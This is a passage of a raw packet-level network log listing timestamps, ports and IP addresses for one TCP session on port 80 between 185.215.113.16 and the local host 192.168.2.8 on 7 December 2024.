Dec 7, 2024 15:07:00.768338919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.768424034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.768467903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.769341946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.769455910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.769500971 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.770476103 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.770525932 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.770582914 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.770637989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.771459103 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.771569014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.771580935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.771620035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.772552967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.772614002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.772645950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.772679090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.773680925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.773734093 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.773761034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.773863077 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.774703979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.774786949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.774831057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.775789022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.775918007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.775978088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.776861906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.776921988 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.776962042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.777004004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.777952909 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.778006077 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.778136969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.778181076 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.779031992 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.779086113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.779118061 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.779160023 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.780106068 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.780240059 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.780241013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.780281067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.781191111 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.781274080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.781275034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.781311035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.782260895 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.782324076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.782373905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.783325911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.783452034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.783500910 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.784379005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.784450054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.784508944 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.785506010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.785567045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.785732985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.785784006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.786627054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.786679029 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.786731958 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.786773920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.787630081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.787679911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.787719011 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.788695097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.788748026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.788804054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.788844109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.789850950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.789896011 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.789901018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.789937019 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.790827990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.790878057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.790911913 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.790956974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.791949034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.792032957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.792090893 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.913785934 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.913944960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.914091110 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.914315939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.914400101 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.914422035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.914464951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.915366888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.915435076 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.915785074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.915885925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.915898085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.921091080 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.932579041 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.932646036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.932831049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.932888985 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.932943106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.932945967 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.932985067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.933927059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.933984041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.934068918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.934114933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.935031891 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.935079098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.935106993 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.935146093 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.935760975 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.935869932 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.935916901 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.936871052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.936919928 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.936986923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.937031984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.937915087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.937961102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.938045979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.938088894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.938985109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.939037085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.939163923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.939209938 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.940045118 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.940164089 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.940212965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.941118956 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.941165924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.941272020 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.941340923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.942214966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.942260981 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.942322016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.942364931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.943346977 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.943392038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.943460941 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.943505049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.944353104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.944485903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.944530964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.945456028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.945502043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.945594072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.945636034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.946582079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.946644068 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.946676016 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.946717978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.947568893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.947639942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.947846889 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.947899103 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.948674917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.948721886 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.948757887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.948802948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.949712992 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.949760914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.949826956 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.949872971 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.950787067 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.950839043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.950892925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.950973034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.951886892 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.951946020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.951986074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.952028036 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.952979088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.953035116 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.953071117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.953113079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.954066038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.954119921 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.954170942 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.954215050 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.955126047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.955174923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.955332041 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.955390930 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.956212044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.956260920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.956306934 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.956348896 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.957313061 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.957365036 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.957377911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.957421064 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.958348036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.958389044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.958398104 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.958429098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.959465981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.959517002 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.959517956 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.959557056 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.960516930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.960568905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.960602045 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.960644960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.961556911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.961607933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.961653948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.961699009 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.962636948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.962688923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.962860107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.962909937 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.963723898 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.963769913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.963907957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.963962078 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.964768887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.964814901 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.964884043 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.964926004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.965909004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.965955019 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.966017008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.966063023 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.966990948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.967037916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.967065096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.967108011 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.968027115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.968141079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.968184948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.969263077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.969321012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.969353914 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.969398022 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.970160007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.970205069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.970316887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.970357895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.971319914 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.971369028 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.971431971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.971468925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.972295046 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.972438097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.972487926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.973423004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.973469019 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.973494053 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.973546982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.974457026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.974503994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.974556923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.974601030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.975522995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.975569963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.975651979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.976624012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.976665974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.976672888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.976711035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.977663994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.977709055 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.977787018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.977838993 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.978739023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.978782892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.978836060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.978878021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.979861021 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.979947090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.979996920 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.980900049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.980957985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.980995893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.981038094 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.981957912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.982009888 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.982012033 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.982049942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.983104944 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.983171940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.983181000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.983231068 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.984175920 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.984224081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.984282017 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:00.985188961 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:00.985258102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.106683969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.106806040 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.106940031 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.107223988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.107280016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.107325077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.107373953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.108371973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.108524084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.108575106 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.109301090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.109354973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.124850988 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.124977112 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.125190973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.125190020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.125236034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.125332117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.125376940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.126312017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.126355886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.126375914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.126391888 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.127329111 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.127378941 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.127459049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.127504110 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.128424883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.128545046 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.128603935 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.129522085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.129578114 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.129645109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.129707098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.130559921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.130606890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.130662918 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.130709887 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.131700039 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.131865025 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.131916046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.132774115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.132828951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.132864952 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.132908106 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.133789062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.133836985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.133850098 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.133892059 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:07:01.134886026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:07:01.134936094 CET	49740	80	192.168.2.8	185.215.113.16
